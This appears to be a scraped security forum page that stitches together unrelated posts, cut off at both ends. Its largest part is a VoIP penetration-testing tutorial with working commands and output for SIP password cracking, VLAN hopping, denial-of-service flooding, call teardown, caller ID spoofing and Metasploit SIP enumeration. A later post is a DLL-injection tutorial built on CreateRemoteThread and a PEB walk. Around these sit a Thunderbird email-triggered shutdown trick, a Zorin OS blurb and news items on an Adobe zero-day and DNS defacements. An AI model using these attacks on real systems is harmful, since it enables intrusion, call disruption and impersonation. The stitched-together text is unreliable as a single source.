'3a33e768ed6f630347f4b511371926bd') * Loaded wordlist: 'sipass.txt' * Starting bruteforce against user '200' (MD5: '3a33e768ed6f630347f4b511371926bd') * Tried 123457 passwords in 0 seconds * Found password: '123456' * Updating dump file 'auth.txt'... done Brute Force attack using John The Ripper For this attack mode we will be using John the ripper to redirect johns output into the FIFO file which we’ll feed into SIPCrack. Creating a FIFO file: root@bt:/tmp# mkfifo sipcrack Generating passwords using john and redirecting the output to our FIFO file, for this example we will generate up to 6 digits only. root@bt:~# john [*] This script will take you to /pentest/passwords/jtr/ [*] From there, run ./john root@bt:/pentest/passwords/jtr# ./john --incremental=digits –stdout=6 > /tmp/sipcrack Using our FIFO file to crack the password: root@bt:/pentest/voip/sipcrack# ./sipcrack -w /tmp/sipcrack auth.txt SIPcrack 0.3 ( MaJoMu | www.codito.de ) ---------------------------------------- * Found Accounts: Num Server Client User Hash|Password 1 192.168.1.111 192.168.1.104 200 8edc2d549294f6535070439fb069c968 * Select which entry to crack (1 - 1): 1 * Generating static MD5 hash... 0a84f78fde66bb15197eab961462dc2f * Starting bruteforce against user '200' (MD5: '8edc2d549294f6535070439fb069c968') * Loaded wordlist: '/tmp/sipcrack' * Starting bruteforce against user '200' (MD5: '8edc2d549294f6535070439fb069c968') * Tried 3 passwords in 0 seconds * Found password: '123456' * Updating dump file 'auth.txt'... done Brute forcing SIP Accounts We can use svcrack which is a part of the sipvicious tools suite to brute force sip accounts A single SIP account dictionary attack (You can add a -v or -vv for verbosity): root@bt:/pentest/voip/sipvicious# ./svcrack.py -u200 -d wordlist.txt 192.168.1.104 | Extension | Password | ------------------------ | 200 | 123456 | A single SIP account brute forcing: root@bt:/pentest/voip/sipvicious# ./svcrack.py -u200 -r100000-999999 192.168.1.104 | Extension | Password | ------------------------ | 200 | 123456 | Use ./svcrack –h for all available arguments. VLAN Hopping Usually VoIP traffic is connected to a dedicated VLAN (Virtual LAN) as we saw in the topologies section. This means that we cannot intercept the VoIP traffic by sniffing and Arp poisoning. The reason for that is that a VLAN is like a separate network, it has its own broadcast domain and different IP range than the data network. VLAN hopping is a way to “hop” to another VLAN, lucky for us Backtrack includes the necessary tools to perform this attack. One common topology is where the IP Phone has a built-in “Internal Switch”, usually the pc is plugged into the phone pc socket and the phone is connected from its lan/sw socket to the network switch as follows: A typical CISCO switch port configuration for VoIP will look something like: Switch# conf t Enter configuration commands, one per line. End with CNTL/Z. Switch(config)#interface fastEthernet 0/1 Switch(config-if)#switchport mode access Switch(config-if)#switchport access vlan 10 Switch(config-if)#switchport voice vlan 20 The IP phone will be configured with the appropriate VLAN ID (20) and the PC data traffic will flow through VLAN 10. Before we begin hopping around we will have to enable support for the 802.1q protocol in Backtrack by typing: root@bt:~# modprobe 8021q VoIP Hopper VoIP hopper is used to hop into voice Vlan by behaving like an IP phone; it supports specific switches and supports some IP phones models. It currently supports the brands like: Cisco, Avaya and Nortel. VoIP hopper was designed to run under Backtrack Linux and currently has the following features: DHCP Client, CDP Generator, MAC Address Spoofing and VLAN hopping. Voiphopper usage: root@bt:/pentest/voip/voiphopper# ./voiphopper voiphopper -i <interface> -c {0|1|2} -a -n -v <VLANID> Please specify 1 base option mode: CDP Sniff Mode (-c 0) Example: voiphopper -i eth0 -c 0 CDP Spoof Mode with custom packet (-c 1): -D (Device ID) -P (Port ID) -C (Capabilities) -L (Platform) -S (Software) -U (Duplex) Example: voiphopper -i eth0 -c 1 -E 'SIP00070EEA5086' -P 'Port 1' -C Host -L 'Cisco IP Phone 7940' -S 'P003-08-8-00' -U 1 CDP Spoof Mode with pre-made packet (-c 2) Example: voiphopper -i eth0 -c 2 Avaya DHCP Option Mode (-a): Example: voiphopper -i eth0 -a VLAN Hop Mode (-v VLAN ID): Example: voiphopper -i eth0 -v 200 Nortel DHCP Option Mode (-n): Example: voiphopper -i eth0 -n VoIP Hopper provides many modes for attack please use the –h for detailed information. Let’s take a look at an example of sniffing for CDP and run a VLAN Hop into the Voice VLAN in a Cisco environment. Run VoIP Hopper on the Ethernet interface, in the following way: root@bt:/pentest/voip/voiphopper# ./voiphopper -i eth0 -c 0 VoIP Hopper also allows one to VLAN Hop to an arbitrary VLAN, without sniffing for CDP. If you already know the Voice VLAN ID or would like to VLAN Hop into another VLAN just specify the vlan id. root@bt:/pentest/voip/voiphopper# ./voiphopper -i eth0 -v 20 VoIP Hopper 1.00 Running in VLAN Hop mode ~ Trying to hop into VLAN 2 Added VLAN 20 to Interface eth0 Attempting dhcp request for new interface eth0.20 eth0.20 Link encap:Ethernet HWaddr 00:0c:29:84:98:b2 inet6 addr: fe80::20c:29ff:fe84:98b2/64 Scope:Link UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:9 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 TX bytes:2274 (2.2 KB) ACE ACE is another tool for vlan hopping very similar to Voiphopper in usage and include an option to discover also TFTP servers (configuration servers). ACE Usage: root@bt:/pentest/voip/ace# ./ace ACE v1.0: Automated Corporate (Data) Enumerator Usage: ace [-i interface] [ -m mac address ] [ -t tftp server ip address | -c cdp mode | -v voice vlan id | -r vlan interface | -d verbose mode ] -i <interface> (Mandatory) Interface for sniffing/sending packets -m <mac address> (Mandatory) MAC address of the victim IP phone -t <tftp server ip> (Optional) tftp server ip address -c <cdp mode 0|1 > (Optional) 0 CDP sniff mode, 1 CDP spoof mode -v <voice vlan id> (Optional) Enter the voice vlan ID -r <vlan interface> (Optional) Removes the VLAN interface -d (Optional) Verbose | debug mode You can manually add a vlan hop or use its discovery feature Mode to specify the Voice VLAN ID Example: ace -i eth0 -v 96 -m 00:1E:F7:28:9C:8E Mode to auto-discover voice vlan ID in the listening mode for CDP Example: ace -i eth0 -c 0 -m 00:1E:F7:28:9C:8E Mode to auto-discover voice vlan ID in the spoofing mode for CDP Example: ace -i eth0 -c 1 -m 00:1E:F7:28:9C:8E TIP: To view your MAC address in backtrack use: root@bt:~# macchanger -s eth0 It doesn’t matter if you used voiphopper or ace you can now intercept VoIP traffic with tools like “ucsniff” by specifying you newly created interface. For example: root@bt:/pentest/voip/ucsniff# ucsniff -i eth0.20 // // Denial Of Service A denial of service attack on VoIP services can render it useless by causing an intentionally damage to the network and VoIP systems availability. This attack can occur on two levels, standard network dos attacks and VoIP specific dos attacks. Generally we will send tons of data by flooding the network to consume all its resources or a specific protocol in order to overwhelm it with tons of requests. Let’s take a quick overview of the tools available in Backtrack Inviteflood This tool can be used to flood a target with INVITE requests it can be used to target sip gateways/proxies and sip phones. root@bt:/pentest/voip/inviteflood# ./inviteflood inviteflood - Version 2.0 June 09, 2006 Usage: Mandatory - interface (e.g. eth0) target user (e.g. "" or john.doe or 5000 or "1+210-555-1212") target domain (e.g. enterprise.com or an IPv4 address) IPv4 addr of flood target (ddd.ddd.ddd.ddd) flood stage (i.e. number of packets) Optional - -a flood tool "From:" alias (e.g. jane.doe) -i IPv4 source IP address [default is IP address of interface] -S srcPort (0 - 65535) [default is well-known discard port 9] -D destPort (0 - 65535) [default is well-known SIP port 5060] -l lineString line used by SNOM [default is blank] -s sleep time btwn INVITE msgs (usec) -h help - print this usage -v verbose output mode A basic usage syntax looks like this: ./inviteflood eth0 target_extension target_domain target_ip number_of_packets As long the tool keeps flooding the sip gateway it will prevent users from making phone calls. You can flood the sip proxy with an inexistent extension thus making it generating a 404 not found just to keep it busy. Rtpflood Rtp flood is used to flood a target IP phone with a UDP packet contains a RTP data In order to launch a successful attack using rtpflood you will need know the RTP listening port on the remote device you want to attack, for example; x-lite sofphone default rtp port is 8000. root@bt:/pentest/voip/rtpflood# ./rtpflood usage: ./rtpflood sourcename destinationname srcport destport numpackets seqno timestamp SSID Iaxflood IAXFlood is a tool for flooding the IAX2 protocol which is used by the Asterisk PBX. root@bt:/pentest/voip/iaxflood# ./iaxflood usage: ./iaxflood sourcename destinationname numpackets Teardown Teardown is used to terminate a call by sending a bye request ./teardown eth0 extension sip_proxy 10.1.101.35 CallID FromTag ToTag First you will need to capture a valid sip OK response and use its from and to tags and a valid caller id value. SIP/2.0 200 OK Via: SIP/2.0/UDP 192.168.1.105;branch=z9hG4bKkfnyfaol;received=192.168.1.105;rport=5060 From: "200" 200@192.168.1.104 If you specify the “-v” option you can see the payload: SIP PAYLOAD for packet: BYE sip:200@192.168.1.104:5060 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.105:9;branch=91ca1ba5-98ee-44d5-9170-61c30981c565 From: <sip:192.168.1.104>;tag=hcykd To: 200 <sip:200@192.168.1.104>;tag=as644fe807 Call-ID: jwtgckolqnoylqf@backtrack CSeq: 2000000000 BYE Max-Forwards: 16 User-Agent: Hacker Content-Length: 0 Contact: <sip:192.168.1.105:9> Spoofing Caller ID There are several methods for spoofing Caller ID which we won’t discuss here because it requires a different set of tools and equipment which are irrelevant to this article purpose. Spoofing Caller ID in SIP is fairly easy, you just need to change the SIP request “INVITE” from header. INVITE sip:@127.0.0.1 SIP/2.0 To: <sip:192.168.1.104> Via: SIP/2.0/UDP 192.168.1.104 From: "Evil Hacker" Call-ID: 14810.0.1.45 CSeq: 1 INVITE Max-Forwards: 20 Contact: <sip:127.0.0.1> We will take a look at a tool we have already discussed called Inviteflood which can be used to send spoofed invite requests. root@bt:/pentest/voip/inviteflood# ./inviteflood eth0 201 192.168.1.104 192.168.1.104 1 -a "Backtrack" Attacking VoIP Using Metasploit The Metasploit framework includes several auxiliaries and modules dedicated for VoIP exploitation. You can find them by using the search function with keywords such as “sip” or “voip”. Let’s Launch “msfconsole” and perform a search for available modules: root@bt:~# msfconsole msf > search sip Metasploit VoIP Modules Here’s a complete list of the available modules for you reference: Auxiliaries scanner/sip/enumerator - SIP Username Enumerator (UDP) scanner/sip/enumerator_tcp - SIP Username Enumerator (TCP) scanner/sip/options - SIP Endpoint Scanner (UDP) scanner/sip/options_tcp - SIP Endpoint Scanner (TCP) voip/sip_invite_spoof - SIP Invite Spoof Exploits windows/sip/aim_triton_cseq - AIM Triton 1.0.4 CSeq Buffer Overflow windows/sip/sipxezphone_cseq - SIPfoundry sipXezPhone 0.35a CSeq Field Overflow windows/sip/sipxphone_cseq - SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow unix/webapp/trixbox_langchoice - Trixbox langChoice PHP Local File Inclusion Scanning SIP Enabled Devices Metasploit provides a sip scanner auxiliary which comes in two flavors TCP and UDP, we can use it to discover SIP enabled devices using the OPTION method: Let’s see an example of the UDP version: scanner/sip/options auxiliary Auxiliary Options and Usage: msf > use auxiliary/scanner/sip/options msf auxiliary(options) > show options Module options (auxiliary/scanner/sip/options): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set CHOST no The local client address CPORT 5060 no The local client port RHOSTS yes The target address range or CIDR identifier RPORT 5060 yes The target port THREADS 1 yes The number of concurrent threads TO nobody no The destination username to probe at each host msf auxiliary(options) > set RHOSTS 192.168.1.130/24 RHOSTS => 192.168.1.130/24 msf auxiliary(options) > run [*] 192.168.1.20 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE' [*] 192.168.1.21 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE' [*] 192.168.1.22 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE' [*] 192.168.1.92 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE' [*] 192.168.1.140 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE' [*] 192.168.1.130 200 server='Asterisk PBX 1.6.2.13' verbs='INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO' [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed Enumerating SIP extensions / Usernames The scanner/sip/enumerator auxiliary can be used to discover valid SIP accounts, it supports two methods of discovery: OPTIONS and REGISTER, it also comes in two flavors TCP and UDP. Auxiliary options: msf > use scanner/sip/enumerator msf auxiliary(enumerator) > show options Module options (auxiliary/scanner/sip/enumerator): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set CHOST no The local client address CPORT 5060 no The local client port MAXEXT 9999 yes Ending extension METHOD REGISTER yes Enumeration method to use OPTIONS/REGISTER MINEXT 0 yes Starting extension PADLEN 4 yes Cero padding maximum length RHOSTS yes The target address range or CIDR identifier RPORT 5060 yes The target port THREADS 1 yes The number of concurrent threads Example Usage: msf auxiliary(enumerator) > set RHOSTS 192.168.1.104 RHOSTS => 192.168.1.104 msf auxiliary(enumerator) > set MINEXT 100 MINEXT => 100 msf auxiliary(enumerator) > set MAXEXT 500 MAXEXT => 500 msf auxiliary(enumerator) > set PADLEN 3 PADLEN => 3 msf auxiliary(enumerator) > run [*] Found user: 200 <sip:200@192.168.1.104> [Auth] [*] Found user: 201 <sip:201@192.168.1.104> [Auth] [*] Found user: 202 <sip:202@192.168.1.104> [Auth] [*] Found user: 203 <sip:203@192.168.1.104> [Auth] [*] Found user: 204 <sip:204@192.168.1.104> [Auth] [*] Found user: 300 <sip:300@192.168.1.104> [Auth] [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed Spoofing Caller ID auxiliary The voip/sip_invite_spoof auxiliary will create a fake SIP invite request making the targeted device ring and display fake caller id information. Auxiliary Options: msf > use voip/sip_invite_spoof msf auxiliary(sip_invite_spoof) > show options Module options (auxiliary/voip/sip_invite_spoof): Name Current Setting Required Description ---- --------------- -------- ----------- MSG The Metasploit has you yes The spoofed caller id to send RHOSTS yes The target address range or CIDR identifier RPORT 5060 yes The target port SRCADDR 192.168.1.1 yes The sip address the spoofed call is coming from THREADS 1 yes The number of concurrent threads Example Usage: msf auxiliary(sip_invite_spoof) > set RHOSTS 192.168.1.104 RHOSTS => 192.168.1.104 msf auxiliary(sip_invite_spoof) > run [*] Sending Fake SIP Invite to: 192.168.1.104 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed Exploiting VoIP systems Metasploit includes several exploits for sip client software and even for the Trixbox PBX web management interface. Although this is not a SIP specific vulnerability it is still related and can enable a full control by an attacker on a PBX. Closing Words I hope you’ve found this document informative, please keep in mind that Backtrack Linux provides many tools and features we haven’t covered here. Take the time to browse the tools read the manuals and README’s I am sure you’ll find the right tool for the job. Feel free to discuss the tools and methods mentioned here in the Backtrack Linux Forums we would love to here your feedback ideas and experiences. http://www.backtrack-linux.org/forums/ About The Author Shai rod (aka @NightRang3r) is a full time Pen Tester at Avnet Information Security & Risk Management in Israel; He holds the Offensive security OSCP and OSCE certifications (among others) and manages his blog at http://exploit.co.il References Session Initiation Protocol - Wikipedia, the free encyclopedia RFC 3261 - SIP: Session Initiation Protocol Hacking Exposed VoIP: Voice over IP Security Secrets and Solutions by David Endler and Mark Collier SURSA Pdf Download Link

In cele ce urmeaza vom explica cum sa inchidem 'propriul' calculator doar cu ajutorul telefonului. Vom avea nevoie de clientul de email Mozilla Thunderbird, un add-on pentru acesta si cateva setari. 1. Descarcam si instalam Mozilla Thunderbird Dupa instalare vom avea nevoia sa configuram un cont de email pentru a folosi aplicatia, fie creati un cont nou, fie folositi unul deja existent si il configurati. 2. Descarcam si instalam add-on-ul 2.1 Salvam add-on-ul 2.2 Deschidem Mozilla Thunderbird si mergem la Tools -> Add-ons 2.3 Dupa instalare, restartam aplicatia. 3. Configuram inbox-ul. Creem un folder sub inbox in care vor fi redirectionate toate mesajele trimise cu scopul de a inchide PC-ul. Click dreapta pe index, New Folder, dupa care il denumiti cum vreti, in cazul meu Shutdown. Tools -> Message Filters. Click pe New pentru a crea un nou filtru, dupa care il configuram in felul urmator. Ideea, in cazul de fata este ca toate mesajele cu subiectul 'Shut The Fuck Down' vor fi mutate in folderul Shutdown cel pe care l-am creat sub inbox. In cazul meu 'Shut The Fuck Down' insa puteti sa-l inlocuiti cu orice altceva. 4. Configurarea add-on-ului. Creem un fisier de tip bat care sa contina shutdown.exe -s il denumim shutdown.bat si il mutam in folderul in care s-a instalat Mozilla Thunderbird. In Thunderbird, click pe folderul Shutdown, Tools -> Mailbox Alert Preferences si facem setarile Bifati 'Execute a command', selectati fisierul shutdown.bat si OK. IMPORTANT: Fiti sigur ca ati selectat folderul inainte de a face setarile in 'Mailbox Alert Preferences' altfel, veti stinge pc-ul de fiecare data cand primiti un email nou. Pentru a micsora timpul dintre momentul in care s-a primit mesajul de stingere a PC-ului si momentul in care v-a executa comanda, mergem la Tools -> Account Settings -> Server Settings si inlocuim 'Check for new messages every' 10 minutes cu 1 Acum aveti posibilitatea sa va inchideti propriul PC din orice loc, atata timp cat acesta este conectat la internet si aveti la dispozitie un telefon. Incercati sa trimiteti un mesaj catre adresa de email cu subiectul in cazul meu 'Shut The Fuck Down', in cazul vostru ce ati setat ca si filtru. Daca totul a fost facut corect, in momentul in care Thunderbird va verifica mesajele, pc-ul ar trebui sa se stinga. // sandabot: Da

Updating

Zorin OS este o distributie de Linux mai putin cunoscuta, dar care promite sa multumesca foarte multi utilizatori care vor sa incerce alt sistem de operare decat Windows. Distributia ofera o interfata grafica extrem de asemanatoare cu cea a Windows 7 si permite, prin intermediul Wine, chiar si instalarea anumitor programe native de Windows. Zorin OS are un slogan simplu si sincer...: "Zorin OS - Poarta catre Linux pentru utilizatorii de Windows". Cu alte cuvinte, deja trebuie sa va fi dat seama la ce sa va asteptati daca rulati acest sistem de operare. Zorin promite integrare foarte buna a aplicatiilor pe care un utilizator obisnuit de Windows le foloseste zilnic. Distributia este bazata pe Ubuntu (Debian), dar putem afirma ca din punct de vedere al interfetei grafice sta chiar mai bine pentru ca dezvoltatorii au reusit sa cobine elementele grafice ale Windows 7 si cele al Gnome 3. Zorin OS ofera, pe parte de aplicatii preinstalate LibreOffice (suita office open source), Gimp (editor de imagini), navigatorul Google Chrome si Mozilla Firefox, dar si pachetul de emulare PlayOnLinux - bazat pe Winesi care asigura rularea unor programe de Windows in Zorin. Distributia are o dimensiune de 1,1 GB si poate fi descarcata de pe site-ul oficial al sistemului de operare - ZORIN Sursa: hit.

Malicious hackers are targeting a previously unknown security hole in Adobe Reader and Acrobat to compromise Microsoft Windows machines, Adobe warned today. Adobe says attackers are taking advantage of a newly discovered critical flaw exists in Adobe Reader X (10.1.1) and earlier versions for Windows and Mac systems, and Adobe Reader 9.4.6 and earlier 9.x versions for UNIX, as well as Adobe Acrobat X (10.1.1) and earlier for Windows and Mac machines. A security bulletin warns of reports that the vulnerability is being actively exploited in “limited, targeted attacks in the wild against Adobe Reader 9.x on Windows.”Adobe said it plans to ship an emergency update no later than the week of Dec. 12 to address the vulnerability in Reader 9.x and Acrobat 9.x on Windows no later than the week of Dec. 12. Citing protections built into newer versions of its software, however, Adobe said it would not fix the flaw in Reader X or Acrobat X versions for Windows, Mac, or UNIX versions until Jan. 10, 2012, the date of its next scheduled quarterly security update. Adobe’s Brad Arkinexplains more about the company’s reasoning behind this decision in a blog post published along with the advisory.If you are using Adobe Reader or Acrobat, take a moment to make sure you have the latest version. It also never hurts to consider one of several free PDF reader alternatives to Adobe, including Foxit, PDF-Xchange Viewer, Nitro PDF and Sumatra PDF. Sursa: krebs.

It has been a while since my last article. Special thanks to those who decided to stay with me despite the long break and welcome to new readers! In this article I am going to cover such a trivial (as it may seem) subject as DLL injection. For some reason, most of the tutorials on the web only give us a brief coverage of the topic, mostly limited to invocation of LoadLibraryA/W Windows API function in the address space of another process. While this is not bad at all, it gives us the least flexible solution. Meaning that all the logic MUST be hardcoded in the DLL we want to inject. On the other hand, we may incorporate all the configuration management (loading config files, parsing thereof, etc) into our DLL. This is better, but still fills it with code which is only going to run once. Let us try another approach. What we are going to do, is write a loader (an executable what will inject our DLL into another process) and a small DLL, which will be injected. For simplicity, the loader will also create the target process. Being a Linux user, I used Flat Assembler and mingw32 for this task, but you may adjust the code for whatever environment you prefer. A short remark for nerds before we start. The code in this article does not contain any security checks (e.g. checking correctness of the value returned by specific function) unless it is needed as an example. If you decide to try this code, you'll be doing this at your own risk. So, let the fun begin. Creation of target process Let's assume, that the loader has already passed the phase of loading and parsing configuration files and is ready to start the actual job. Windows provides us with all the tools we need to start a process. There are more then one way of doing that, but let us use the simplest and use CreateProcess API function. Its declaration looks quite frightening, but we'll make it as easy as possible: BOOL WINAPI CreateProcess( __in_opt LPCTSTR lpApplicationName, __inout_opt LPTSTR lpCommandLine, __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes, __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, __in BOOL bInheritHandles, __in DWORD dwCreationFlags, __in_opt LPVOID lpEnvironment, __in_opt LPCTSTR lpCurrentDirectory, __in LPSTARTUPINFO lpStartupInfo, __out LPPROCESS_INFORMATION lpProcessInformation ); We only have to specify half of the parameters when calling this function and set all the rest to NULL. This function has two variants CreateProcessA and CreateProcessW as ASCII and Unicode versions respectively. We are going to stick with ASCII all way long, so, our code would look like this (due to the fact that "CreateProcess" is rather a macro then function name, we should explicitly specify A version as some compilers tend to default to W versions): CreateProcessA(nameOfTheFile, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation); Don't forget to set the cb field of startupInfo to (DWORD)sizeof(STARTUPINFO), otherwise it would not work. If the function succeeds, we get all the information about the process (handles and IDs) in the processInformation structure, which has the following prototype: typedef struct _PROCESS_INFORMATION { HANDLE hProcess; //Handle to the process HANDLE hThread; //Handle to the main thread of the process DWORD dwProcessId; //ID of the new process DWORD dwThreadId; //ID of the main thread of the process }PROCESS_INFORMATION, *LPPROCESS_INFORMATION; By now, the process has been created, but it is suspended. Meaning that it has not started its execution yet and will not until we call ResumeThread(processInformation.dwThreadId) telling the operating system to resume the main thread of the process, but this is going to be the last action performed by our loader. Lancet One may call it a shellcode, but it has nothing to do with the viral payload or any other malicious intent (unless, someone would say that breaking into address space of another process is malicious by definition). It is the code, that we are going to inject into the target process. It, theoretically, may be written in any language as long as it may be position independent and compiled into native instructions (in our case x86 instructions), but I prefer to do such things in Assembly language. It is always a good idea, to think of what your code is intended to do before writing a single line of it, in this case it is a golden idea. The code needs to be small, preferably fast and stable as it is a bit of a headache to debug once it has been injected. There are two basic tasks that you would want to assign to this code: * Load our DLL * Call the initialization procedure exported by our dLL and one unavoidable condition - it has to be a function declared as ThreadProc callback, due to the fact that we are going to use the CreateRemoteThread function in order to launch it. The prototype of a ThreadProc callback function looks like this: DWORD WINAPI ThreadProc( __in LPVOID lpParameter); which means that it has to return a value of type DWORD (which is actually unsigned int). It accepts one parameter, which may either be an actual value (but you have to cast it to LPVOID type) or a pointer to an array of parameters. One more thing about this function (the last but not the least!) it is an stdcall function - WINAPI macro is defined as __declspec(stdcall). This means that our function has to take care of cleaning the stack before return. In our case it is quite easy, simply use ret 0x04 (assuming that size of LPVOID is 4 bytes). Another important thing to mention - you will, obviously need to know how many bytes your function occupies in order to correctly allocate memory in the address space of the target process and move your code there. In addition to allocation of one block of executable memory for our function, you will also need to allocate one block for data - configuration settings to be passed to the injected DLL. It is easy to pass the address of the parameters as an argument to our ThreadProc. The skeleton of the function would look like this: lancet: push ebp mov ebp, esp sub esp, as_much_space_as_you_need_for_variables push registers_you_are_planning_to_use ;function body pop registers_you_used mov esp, ebp pop ebp ret 0x04 lancet_size = $-lancet The last line gives us the exact size of the function in bytes. The following is the source file template: format MS COFF ;as we are going to link this file with our loader public lancet as '_lancet' section '.text' readable executable lancet: ;our function goes here ;followed by data loadLibraryA db 'LoadLibraryA',0 init db 'name_of_the_initialization_function',0 ourDll db 'name_of_our_dll',0 kernel32 db 'kernel32.dll',0 lancet_size = $-lancet public lsize as '_lancet_size' section '.data' readable writeable lsize dd lancet_size So, what are we going to insert into the "function body"? First of all, as our code, once it is injected, has no idea of where in the memory it is, we should save our "base address" and calculate all the offsets relative to that address. This is done in a simple manner. We call the next address and pop the return address into our local variable. call @f @@: pop dword [ebp-4] sub dword [ebp-4], @b-lancet that's it. Now the variable at [ebp-4] contains our "base address". Each time we want to call another function or access our data (strings with names, remember?) we should do the following: mov ebx, [ebp-4] add ebx, ourDll-lancet push ebx mov ebx, [ebp-8] ;assume that we stored the address of LoadLibraryA at [ebp-8] call dword ebx The code above is an equivalent of LoadLibraryA("name_of_our_dll") . Now about the execution itself. Although, we now know where we are, we have no idea of what the address of LoadLibraryA is. There are, at least, two ways to get that address nicely. First has been described in my "Stealth Import of Windows API" article. The second is also interesting - PEB. Yes, we are going to access the Process Environment Block, find the LDR_MODULE structure which refers to KERNEL32.DLL and get its base address (which is also a handle to the library). Some may say that this way is not reliable, not stable and even dangerous, but I will say, that statements like these are not serious. We are not going to change anything in those structures. We are only going to parse them. How do we find the PEB? This is quite simple. It is located at [FS:0x30]. Once we have it, we are on our way to PEB_LDR_DATA address, which is at PEB+0x0C. In order to parse the PEB_LDR_DATA structure, we should declare the following in our Assembly code: struc list_entry { .flink dd ? ;pointer to next list_entry structure .blink dd ? ;pointer to previous list_entry structure } struc peb_ldr_data { .length dd ? .initialized db ? db ? db ? db ? .ssHandle dd ? .inLoadOrderModuleList list_entry ;we are going to use this list .inMemoryOrderModuleList list_entry .inInitializationOrderModuleList list_entry } struc ldr_module { .inLoadOrderModuleList list_entry ;pointers to previous and next modules in list .inMemoryOrderModuleList list_entry .inInitializationOrderModuleList list_entry .baseAddress dd ? ;This is what we need! .entryPoint dd ? .sizeOfImage dd ? .fullDllName unicode_string ;full path to the module file .baseDllName unicode_string ;name of the module file .flags dd ? .loadCount dw ? .tlsIndex dw ? .hashTable list_entry .timeDateStamp dd ? } I leave the implementation of the module list parsing function up to you. You just have to keep in mind that the string you are going to check are represented by the UNICODE_STRING structure (described in the article referenced above). Another thing to remember, is that it is better to implement case insensitive string comparison function. Once you find the LDR_MODULE wich baseDllName is "kernel32.dll" you have its handle (simply in the baseAddress field). You may use the _get_proc_address function from the same article (mentioned above) in order to get the address of the LoadLibraryA function. Having that address, you are ready to load your DLL (do the actual injection). Personal suggestion - do not put lots of code into the DllMain function. LoadLibraryA returns a handle to the newly loaded DLL, which you can use in order to locate you initialization function (remember it has to be exported by your DLL and preferably use the stdcall convention). After you _get_proc_address of your initialization function, call it and pass the address of the data block as a parameter (it was passed to our lancet function as a parameter on stack): push dword [ebp+8] ;parameter passed to lancet is here call dword [ebp-12] ;assume that you stored the address of the initialization ;function here That's it. Your code may now return. The DLL has been injected and initialized. Injection somehow, we have missed the exciting process of injection of our lancet code. Don't worry, I have not forgotten about it. As I have mentioned above, we have to allocate two blocks - for code and data. This can be done by calling the VirtualAllocEx function, which allows memory allocations in the address space of another process. LPVOID WINAPI VirtualAllocEx( __in HANDLE hProcess, __in_opt LPVOID lpAddress, __in SIZE_T dwSize, __in DWORD flAllocationType, __in DWORD flProtect ); Use MEM_COMMIT as flAllocationType and PAGE_EXECUTE_READWRITE and PAGE_READWRITE for allocation of code and data block respectively. This function returns the address of allocated block in the address space of the specified process or NULL. The WriteProcessMemory API function is used to copy your code and data into the address space of the target process. BOOL WINAPI WriteProcessMemory( __in HANDLE hProcess, __in LPVOID lpBaseAddress, __in LPCVOID lpBuffer, __in SIZE_T nSize, __out SIZE_T*lpNumberOfBytesWritten ); Once you have copied both the data and the code, you will want to call your thread function. The only way to call a function which resides in the memory of another process is by calling the CreateRemoteThread API. HANDLE WINAPI CreateRemoteThread( __in HANDLE hProcess, //the handle to our process __in LPSECURITY_ATTRIBUTES lpThreadAttributes, //may be NULL __in SIZE_T dwStackSize, //may be 0 __in LPTHREAD_START_ROUTINE, //the address of our code block __in LPVOID lpParameter, //the address of our data block __in DWORD dwCreationFlags, //may be 0 __out LPDWORD lpThreadId //may be NULL ); This function returns a handle to the remote thread, which, in turn, may be passed to the WaiForSingleObject API function, so that we can get notification on its return. I decided not to cover the possibilities of what your DLL can do while attached to the target process and leave this completely up to you. I hope this article was not too muddled and, may be, even helpful. Have fun coding and see you at the next post. Sursa

1 - http://imgur.com/B1xjg 2 - http://imgur.com/mkenf 3 - imgur: the simple image sharer 4 - imgur: the simple image sharer

By making use of a technique called DNS poisoning, a cyberattacker managed to take down the websites of Samsung, Google, Gmail, YouTube, Yahoo, Apple, Linux, Microsoft and Hotmail hosted on the .cd domain extension which belongs to the Democratic Republic of Congo. The hacker who calls himself AlpHaNiX managed to deface all the locations by inserting fake records into the cache of DNS servers, reports Security Web-Center. By doing this, the attacker can make sure that he can alter the responses to a DNS query, forcing the Internet users to a fake website instead of a real one. Even though DNS cache poisoning is a method favored by many hackers thanks to its efficiency, it's not easy to execute, in most cases the Domain Name System servers being provided by Internet service providers (ISPs) and organizations. Judging by the messages left on the defaced websites, the hacker didn’t have anything “personal” with them, he just wanted to show his powers. Also, since the sites proudly display a Tunisian flag along with the message “Tunisia Rullz,” we can only assume that the hacker originates from Tunisia. At the time of writing, Gmail.cd, Google.cd, Linux.cd, Samsung.cd, Hotmail.cd and Apple.cd are still defaced, while Youtube.cd was taken down altogether. When trying to access Microsoft or Yahoo!, I am automatically redirected to .com domains, which means that steps are already taken to resolve the issue. A few days ago we witnessed how websites belonging to NOD32 and Kaspersky were breached and defaced by hackers. At the time it turned 